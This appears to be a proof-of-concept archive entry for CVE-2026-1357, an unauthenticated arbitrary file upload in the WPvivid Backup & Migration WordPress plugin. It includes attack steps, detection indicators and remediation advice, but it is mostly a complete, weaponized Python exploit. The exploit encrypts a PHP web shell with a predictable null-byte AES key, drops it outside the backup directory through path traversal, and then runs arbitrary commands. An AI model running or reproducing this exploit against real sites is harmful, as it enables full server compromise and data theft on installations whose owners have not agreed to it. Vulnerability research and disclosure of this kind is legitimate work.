PoC Archive PoC Archive
Critical CVE-2026-1357 unpatched

WPvivid Backup & Migration Unauthenticated Arbitrary File Upload RCE (CVE-2026-1357)

by masterwok · 2026-07-05

Severity
Critical
CVE
CVE-2026-1357
Category
web
Affected product
WPvivid Backup & Migration WordPress plugin
Affected versions
Up to and including 0.9.123
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchermasterwok
CVE / AdvisoryCVE-2026-1357
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagswordpress, wpvivid, arbitrary-file-upload, rce, unauthenticated, cryptography, path-traversal
RelatedN/A

Affected Target

FieldValue
Software / SystemWPvivid Backup & Migration WordPress plugin
Versions AffectedUp to and including 0.9.123
Language / PlatformPHP (WordPress plugin); PoC written in Python 3
Authentication RequiredNo
Network Access RequiredYes

Summary

The WPvivid Backup & Migration plugin’s remote migration/“send to site” feature decrypts an incoming session key with openssl_private_decrypt(). When decryption fails, the function returns boolean false instead of the code aborting, and that false is passed straight into phpseclib’s AES cipher initialization, which treats it as an all-null-byte key — a fully predictable value an attacker can also use. Combined with the plugin’s failure to sanitize the filename embedded in the decrypted payload, an attacker can encrypt a malicious file (a PHP web shell) with the known null-byte key, set a path-traversal filename, and have the plugin write it outside its intended backup directory into a public, web-accessible location. The included PoC builds this encrypted payload, uploads it via the wpvivid_action=send_to_site handler, and then invokes the dropped shell to execute arbitrary OS commands.


Vulnerability Details

Root Cause

Improper error handling of a failed RSA decryption (openssl_private_decrypt() returning false) causes a predictable, attacker-known AES key (16 null bytes) to be used for the migration payload, and the plugin does not sanitize the destination filename, allowing directory traversal out of the backup/staging directory.

Attack Vector

  1. Attacker builds a JSON payload containing a PHP web-shell (<?php system($_GET["cmd"]); ?>) and a traversal filename such as ../uploads/<random>.php.
  2. Attacker encrypts the JSON payload with AES-CBC using the known null-byte key and null IV, then wraps it with a fake RSA key-length header to satisfy the plugin’s parsing.
  3. Attacker sends the encoded payload to the target via an unauthenticated POST request with wpvivid_action=send_to_site.
  4. The plugin fails to properly decrypt/validate the session key, falls back to the predictable AES key, decrypts the attacker’s payload, and writes the PHP file to wp-content/uploads/ due to the unsanitized traversal filename.
  5. Attacker requests the dropped file with a ?cmd= query parameter to execute arbitrary commands on the server.

Impact

Unauthenticated remote code execution as the web server user (typically www-data), leading to full compromise of the WordPress installation and potentially the underlying host.


Environment / Lab Setup

Target:   WordPress + WPvivid Backup & Migration plugin <= 0.9.123 (docker-compose lab: MariaDB + WordPress, plugin mounted from a staged folder)
Attacker: Python 3, requirements.txt (requests, pycryptodome)

Proof of Concept

PoC Script

See CVE-2026-1357.py, docker-compose.yml, and requirements.txt in this folder.

1
2
pip install -r requirements.txt
python3 CVE-2026-1357.py localhost:8080 --command "id"

The script derives the predictable null-byte AES key, encrypts a PHP web-shell payload with a traversal filename, uploads it via the plugin’s send_to_site action, then requests the dropped shell with the given --command and prints the command output.


Detection & Indicators of Compromise

Signs of compromise:

  • PHP files with unfamiliar, randomly generated names in wp-content/uploads/.
  • GET/POST requests to those uploaded files containing a cmd parameter.
  • Outbound requests to the site root with wpvivid_action=send_to_site from unrecognized IPs.

Remediation

ActionDetail
Primary fixUpdate WPvivid Backup & Migration to a version beyond 0.9.123 that validates RSA decryption failures and sanitizes destination filenames
Interim mitigationDisable or remove the plugin if not actively used; block execution of PHP files under wp-content/uploads/ via web server configuration.

References


Notes

Mirrored from https://github.com/masterwok/PoC-CVE-2026-1357 on 2026-07-05.

CVE-2026-1357.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import base64
import json
import hashlib
import requests
import uuid
import sys
import argparse
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from urllib.parse import urlparse, urlencode

DEFAULT_SCHEME = "http"
DEFAULT_PORT = 80
DEFAULT_TIMEOUT = 5

def parse_base_url(value: str) -> str:
    if "://" not in value:
        # Default to http if the user just types an IP or domain
        value = f"{DEFAULT_SCHEME}://{value}"

    parsed = urlparse(value)

    if parsed.scheme not in ("http", "https"):
        raise argparse.ArgumentTypeError("Only http:// or https:// are supported")

    if not parsed.hostname:
        raise argparse.ArgumentTypeError("[!] Invalid target: missing hostname")

    # FIX: Only append a colon and port if a port was actually specified
    port_string = f":{parsed.port}" if parsed.port else ""
    
    # Normalize path (strip trailing slash)
    path = parsed.path.rstrip("/")

    return f"{parsed.scheme}://{parsed.hostname}{port_string}{path}"

def join_url(base: str, path: str) -> str:
    return f"{base.rstrip('/')}/{path.lstrip('/')}"


def generate_payload(filename: str):
    shell_content = '<?php system($_GET["cmd"]); ?>'
    
    params = {
        "backup_id": "1",
        "name": f"../uploads/{filename}",
        "data": base64.b64encode(shell_content.encode()).decode(),
        "md5": hashlib.md5(shell_content.encode()).hexdigest(),
        "file_size": len(shell_content),
        "total_size": len(shell_content),
        "type": "backup",
        "status": "running",
        "offset": 0,
        "index": 0
    }
    
    null_key = b'\x00' * 16
    iv = b'\x00' * 16
    cipher = AES.new(null_key, AES.MODE_CBC, iv)
    json_data = json.dumps(params).encode()
    encrypted = cipher.encrypt(pad(json_data, 16))
    fake_key = "ABC"
    key_len_header = f"{len(fake_key):03x}"
    data_len_header = f"{len(encrypted):016x}"
    raw_payload = (
        key_len_header.encode() + 
        fake_key.encode() + 
        data_len_header.encode() + 
        encrypted
    )
    
    return base64.b64encode(raw_payload).decode()

def upload_payload(target: str, payload):
    try:
        res_payload = requests.post(
                target,
                data={
                    'wpvivid_action': 'send_to_site',
                    'wpvivid_content': payload
                },
                timeout=DEFAULT_TIMEOUT
        )

        if not res_payload.ok:
            print(f"[!] Failed to upload payload ({target}): {res_payload.text}")
            sys.exit(1)
    except requests.exceptions.Timeout:
        print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.")
        sys.exit(1)
    except requests.exceptions.ConnectionError:
        print(f"[!] Error: Failed to connect to {target}. Check the URL or your network.")
        sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(f"[!] An unexpected network error occurred: {e}")
        sys.exit(1)

def execute_command(target: str, filename: str, command: str):
    url_shell = join_url(target, f"/wp-content/uploads/{filename}")
    url_trigger = f"{url_shell}?{urlencode({ "cmd": command})}"

    print(f"[+] Command URL: {url_trigger}")

    try:
        res_cmd = requests.post(
                url_trigger,
                timeout=DEFAULT_TIMEOUT
        )

        if not res_cmd.ok:
            print(f"[!] Failed to execute command ({url_trigger}): {res_cmd.text}")
            sys.exit(1)

        print(res_cmd.text)
    except requests.exceptions.Timeout:
        print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.")
        sys.exit(1)
    except requests.exceptions.ConnectionError:
        print(f"[!] Error: Failed to connect to {url_trigger}. Check the URL or your network.")
        sys.exit(1)
    except requests.exceptions.RequestException as e:
        print(f"[!] An unexpected network error occurred: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="PoC exploit: CVE-2026-1357")
    parser.add_argument("target", help="Target hostname")
    parser.add_argument("--command", type=str, required=True, help="Command to run on target")

    args = parser.parse_args()
    target = parse_base_url(args.target)

    print(f"[+] Target: {target}")

    filename = f"{str(uuid.uuid4())}.php"
    payload = generate_payload(filename)

    print(f"[*] Uploading payload...")

    upload_payload(target, payload)

    print(f"[+] Payload uploaded")

    print(f"[*] Executing command...")

    execute_command(target, filename, args.command)

    return 0
    
if __name__ == "__main__":
    sys.exit(main())